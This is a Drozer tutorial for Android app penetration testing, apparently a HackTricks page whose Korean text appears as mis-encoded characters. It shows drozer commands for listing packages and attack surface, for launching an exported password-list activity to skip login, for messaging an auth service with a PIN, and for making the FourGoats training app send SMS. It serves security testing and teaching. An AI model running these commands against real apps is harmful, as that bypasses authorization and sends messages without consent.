Drozer Tutorial
Tip
AWS ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:HackTricks Training GCP Red Team Expert (GRTE)
Azure ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks μ§μνκΈ°
- ꡬλ κ³ν νμΈνκΈ°!
- **π¬ λμ€μ½λ κ·Έλ£Ή λλ ν λ κ·Έλ¨ κ·Έλ£Ήμ μ°Έμ¬νκ±°λ νΈμν° π¦ @hacktricks_liveλ₯Ό νλ‘μ°νμΈμ.
- HackTricks λ° HackTricks Cloud κΉνλΈ λ¦¬ν¬μ§ν 리μ PRμ μ μΆνμ¬ ν΄νΉ νΈλ¦μ 곡μ νμΈμ.
ν μ€νΈν APK
μ΄ νν 리μΌμ μΌλΆλ Drozer λ¬Έμ pdfμμ λ°μ·λμμ΅λλ€.
μ€μΉ
νΈμ€νΈ λ΄μ Drozer Clientλ₯Ό μ€μΉν©λλ€. μ΅μ 릴리μ€μμ λ€μ΄λ‘λνμΈμ.
pip install drozer-2.4.4-py2-none-any.whl
pip install twisted
pip install service_identity
μ΅μ 릴리μ€μμ drozer APKλ₯Ό λ€μ΄λ‘λνκ³ μ€μΉνμΈμ. νμ¬ λ²μ μ μ΄κ²μ λλ€.
adb install drozer.apk
μλ² μμνκΈ°
Agentλ ν¬νΈ 31415μμ μ€νλκ³ μμΌλ©°, Drozer Clientμ Agent κ°μ ν΅μ μ μ€μ νκΈ° μν΄ ν¬νΈ ν¬μλ©μ ν΄μΌ ν©λλ€. λ€μμ μ΄λ₯Ό μννλ λͺ λ Ήμ΄μ λλ€:
adb forward tcp:31415 tcp:31415
λ§μ§λ§μΌλ‘, μ ν리μΌμ΄μ μ μ€ννκ³ νλ¨μ βONβ λ²νΌμ λλ¦ λλ€.
.png)
κ·Έλ¦¬κ³ μ°κ²°ν©λλ€:
drozer console connect
Interesting Commands
| Commands | Description |
|---|---|
| Help MODULE | μ νν λͺ¨λμ λμλ§μ 보μ¬μ€λλ€. |
| list | νμ¬ μΈμ μμ μ€νν μ μλ λͺ¨λ drozer λͺ¨λμ λͺ©λ‘μ 보μ¬μ€λλ€. μ΄λ μ μ ν κΆνμ΄ μλ λͺ¨λμ μ¨κΉλλ€. |
| shell | μμ΄μ νΈμ 컨ν μ€νΈμμ μ₯μΉμμ λνν Linux μ Έμ μμν©λλ€. |
| clean | Android μ₯μΉμμ drozerκ° μ μ₯ν μμ νμΌμ μ κ±°ν©λλ€. |
| load | drozer λͺ λ Ήμ΄ ν¬ν¨λ νμΌμ λ‘λνκ³ μμ°¨μ μΌλ‘ μ€νν©λλ€. |
| module | μΈν°λ·μμ μΆκ° drozer λͺ¨λμ μ°Ύμ μ€μΉν©λλ€. |
| unset | drozerκ° μμ±νλ λͺ¨λ Linux μ Έμ μ λ¬νλ μ΄λ¦μ΄ μ§μ λ λ³μλ₯Ό μ κ±°ν©λλ€. |
| set | drozerκ° μμ±νλ λͺ¨λ Linux μ Έμ νκ²½ λ³μλ‘ μ λ¬λ κ°μ λ³μμ μ μ₯ν©λλ€. |
| shell | μμ΄μ νΈμ 컨ν μ€νΈμμ μ₯μΉμμ λνν Linux μ Έμ μμν©λλ€. |
| run MODULE | drozer λͺ¨λμ μ€νν©λλ€. |
| exploit | Drozerλ μ₯μΉμμ μ€νν μ μλ μ΅μ€νλ‘μμ μμ±ν μ μμ΅λλ€. drozer exploit list |
| payload | μ΅μ€νλ‘μμλ νμ΄λ‘λκ° νμν©λλ€. drozer payload list |
Package
μ΄λ¦μ μΌλΆλ‘ νν°λ§νμ¬ ν¨ν€μ§μ μ΄λ¦μ μ°Ύμ΅λλ€:
dz> run app.package.list -f sieve
com.mwr.example.sieve
ν¨ν€μ§μ κΈ°λ³Έ μ 보:
dz> run app.package.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
Process Name: com.mwr.example.sieve
Version: 1.0
Data Directory: /data/data/com.mwr.example.sieve
APK Path: /data/app/com.mwr.example.sieve-2.apk
UID: 10056
GID: [1028, 1015, 3003]
Shared Libraries: null
Shared User ID: null
Uses Permissions:
- android.permission.READ_EXTERNAL_STORAGE
- android.permission.WRITE_EXTERNAL_STORAGE
- android.permission.INTERNET
Defines Permissions:
- com.mwr.example.sieve.READ_KEYS
- com.mwr.example.sieve.WRITE_KEYS
Manifest μ½κΈ°:
run app.package.manifest jakhar.aseem.diva
ν¨ν€μ§μ 곡격 νλ©΄:
dz> run app.package.attacksurface com.mwr.example.sieve
Attack Surface:
3 activities exported
0 broadcast receivers exported
2 content providers exported
2 services exported
is debuggable
- νλ: μλ§λ νλμ μμνκ³ μ΄λ₯Ό μ€ννλ κ²μ λ°©μ§ν΄μΌ νλ μ΄λ€ μ’ λ₯μ κΆνμ μ°νν μ μμ κ²μ λλ€.
- μ½ν μΈ μ 곡μ: μλ§λ κ°μΈ λ°μ΄ν°μ μ κ·Όνκ±°λ μΌλΆ μ·¨μ½μ (SQL Injection λλ Path Traversal)μ μ μ©ν μ μμ κ²μ λλ€.
- μλΉμ€:
- λλ²κΉ κ°λ₯: μμΈν μμ보기
νλ
λ΄λ³΄λ΄κΈ°λ νλ κ΅¬μ± μμμ βandroid:exportedβ κ°μ AndroidManifest.xml νμΌμμ **βtrueβ**λ‘ μ€μ λ©λλ€:
<activity android:name="com.my.app.Initial" android:exported="true">
</activity>
λ΄λ³΄λΈ νλ λͺ©λ‘:
dz> run app.activity.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
com.mwr.example.sieve.FileSelectActivity
com.mwr.example.sieve.MainLoginActivity
com.mwr.example.sieve.PWList
Start activity:
μλ§λ νλμ μμνκ³ μ΄λ₯Ό μμνλ κ²μ λ°©μ§ν΄μΌ νλ μ΄λ€ μ’ λ₯μ κΆν λΆμ¬λ₯Ό μ°νν μ μμ κ²μ λλ€.
dz> run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList
adbλ₯Ό μ¬μ©νμ¬ λ΄λ³΄λΈ νλμ μμν μλ μμ΅λλ€:
- PackageNameμ com.example.demoμ λλ€.
- Exported ActivityNameμ com.example.test.MainActivityμ λλ€.
adb shell am start -n com.example.demo/com.example.test.MainActivity
Content Providers
μ΄ κ²μλ¬Όμ μ¬κΈ°μμ λ무 컀μ λΉμ μ μ¬κΈ°μμ λ³λμ νμ΄μ§λ‘ μ κ·Όν μ μμ΅λλ€.
Services
λ΄λ³΄λΈ μλΉμ€λ Manifest.xml λ΄μμ μ μΈλ©λλ€:
<service android:name=".AuthService" android:exported="true" android:process=":remote"/>
μ½λ checkμμ handleMessage ν¨μλ₯Ό νμΈνμΈμ. μ΄ ν¨μλ messageλ₯Ό receiveν©λλ€:
.png)
List service
dz> run app.service.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
com.mwr.example.sieve.AuthService
Permission: null
com.mwr.example.sieve.CryptoService
Permission: null
μλΉμ€μ μνΈμμ©
app.service.send Send a Message to a service, and display the reply
app.service.start Start Service
app.service.stop Stop Service
μμ
app.service.sendμ λν drozer λμλ§μ νμΈνμΈμ:
.png)
λ¨Όμ βmsg.whatβ μμ λ°μ΄ν°λ₯Ό μ μ‘ν λ€μ, βmsg.arg1βκ³Ό βmsg.arg2βλ₯Ό μ μ‘ν©λλ€. μ΄λ€ μ λ³΄κ° μ¬μ©λκ³ μλμ§ μ½λ μμμ νμΈν΄μΌ ν©λλ€.--extra μ΅μ
μ μ¬μ©νλ©΄ βmsg.replyToβμ μν΄ ν΄μλλ λ΄μ©μ μ μ‘ν μ μμΌλ©°, --bundle-as-objλ₯Ό μ¬μ©νλ©΄ μ 곡λ μΈλΆμ λ³΄λ‘ κ°μ²΄λ₯Ό μμ±ν©λλ€.
λ€μ μμ μμ:
what == 2354arg1 == 9234arg2 == 1replyTo == object(string com.mwr.example.sieve.PIN 1337)
run app.service.send com.mwr.example.sieve com.mwr.example.sieve.AuthService --msg 2354 9234 1 --extra string com.mwr.example.sieve.PIN 1337 --bundle-as-obj
.png)
Broadcast Receivers
Android κΈ°λ³Έ μ 보 μΉμ μμ Broadcast Receiverκ° λ¬΄μμΈμ§ νμΈν μ μμ΅λλ€.
μ΄ Broadcast Receiversλ₯Ό λ°κ²¬ν νμλ μ½λλ₯Ό νμΈν΄μΌ ν©λλ€. onReceive ν¨μμ νΉλ³ν μ£ΌμνμΈμ. μ΄ ν¨μλ μμ λ λ©μμ§λ₯Ό μ²λ¦¬ν©λλ€.
λͺ¨λ broadcast receivers κ°μ§
run app.broadcast.info #Detects all
μ±μ λΈλ‘λμΊμ€νΈ μμ κΈ° νμΈ
#Check one negative
run app.broadcast.info -a jakhar.aseem.diva
Package: jakhar.aseem.diva
No matching receivers.
# Check one positive
run app.broadcast.info -a com.google.android.youtube
Package: com.google.android.youtube
com.google.android.libraries.youtube.player.PlayerUiModule$LegacyMediaButtonIntentReceiver
Permission: null
com.google.android.apps.youtube.app.common.notification.GcmBroadcastReceiver
Permission: com.google.android.c2dm.permission.SEND
com.google.android.apps.youtube.app.PackageReplacedReceiver
Permission: null
com.google.android.libraries.youtube.account.AccountsChangedReceiver
Permission: null
com.google.android.apps.youtube.app.application.system.LocaleUpdatedReceiver
Permission: null
Broadcast μνΈμμ©
app.broadcast.info Get information about broadcast receivers
app.broadcast.send Send broadcast using an intent
app.broadcast.sniff Register a broadcast receiver that can sniff particular intents
λ©μμ§ λ³΄λ΄κΈ°
μ΄ μμ μμλ FourGoats apk Content Providerλ₯Ό μ μ©νμ¬ μ¬μ©μμ νκ° μμ΄ μμμ SMSλ₯Ό λΉν리미μ λͺ©μ μ§λ‘ λ³΄λΌ μ μμ΅λλ€.
.png)
.png)
μ½λλ₯Ό μ½μ΄λ³΄λ©΄, βphoneNumberβμ βmessageβ λ§€κ°λ³μλ₯Ό Content Providerμ μ μ‘ν΄μΌ ν©λλ€.
run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS --component org.owasp.goatdroid.fourgoats.broadcastreceivers SendSMSNowReceiver --extra string phoneNumber 123456789 --extra string message "Hello mate!"
Is debuggeable
μμ°μ© APKλ μ λ λλ²κΉ
κ°λ₯ν΄μλ μ λ©λλ€.
μ΄κ²μ μλ° λλ²κ±°λ₯Ό μ€ν μ€μΈ μ ν리μΌμ΄μ
μ μ°κ²°νκ³ , λ°νμμμ κ²μ¬νκ³ , μ€λ¨μ μ μ€μ νκ³ , λ¨κ³λ³λ‘ μ§ννλ©°, λ³μ κ°μ μμ§νκ³ μ¬μ§μ΄ λ³κ²½ν μ μμμ μλ―Έν©λλ€. InfoSec institute has an excellent article on digging deeper when you application is debuggable and injecting runtime code.
μ ν리μΌμ΄μ μ΄ λλ²κΉ κ°λ₯ν λ, λ§€λνμ€νΈμ λνλ©λλ€:
<application theme="@2131296387" debuggable="true"
λͺ¨λ λλ²κΉ κ°λ₯ν μ ν리μΌμ΄μ μ Drozerλ‘ μ°Ύμ μ μμ΅λλ€:
run app.package.debuggable
Tutorials
- https://resources.infosecinstitute.com/android-penetration-tools-walkthrough-series-drozer/#gref
- https://github.com/mgcfish/mobiletools/blob/master/_posts/2016-08-01-Using-Drozer-for-application-security-assessments.md
- https://www.hackingarticles.in/android-penetration-testing-drozer/
- https://medium.com/@ashrafrizvi3006/how-to-test-android-application-security-using-drozer-edc002c5dcac
More info
Tip
AWS ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:HackTricks Training GCP Red Team Expert (GRTE)
Azure ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks μ§μνκΈ°
- ꡬλ κ³ν νμΈνκΈ°!
- **π¬ λμ€μ½λ κ·Έλ£Ή λλ ν λ κ·Έλ¨ κ·Έλ£Ήμ μ°Έμ¬νκ±°λ νΈμν° π¦ @hacktricks_liveλ₯Ό νλ‘μ°νμΈμ.
- HackTricks λ° HackTricks Cloud κΉνλΈ λ¦¬ν¬μ§ν 리μ PRμ μ μΆνμ¬ ν΄νΉ νΈλ¦μ 곡μ νμΈμ.


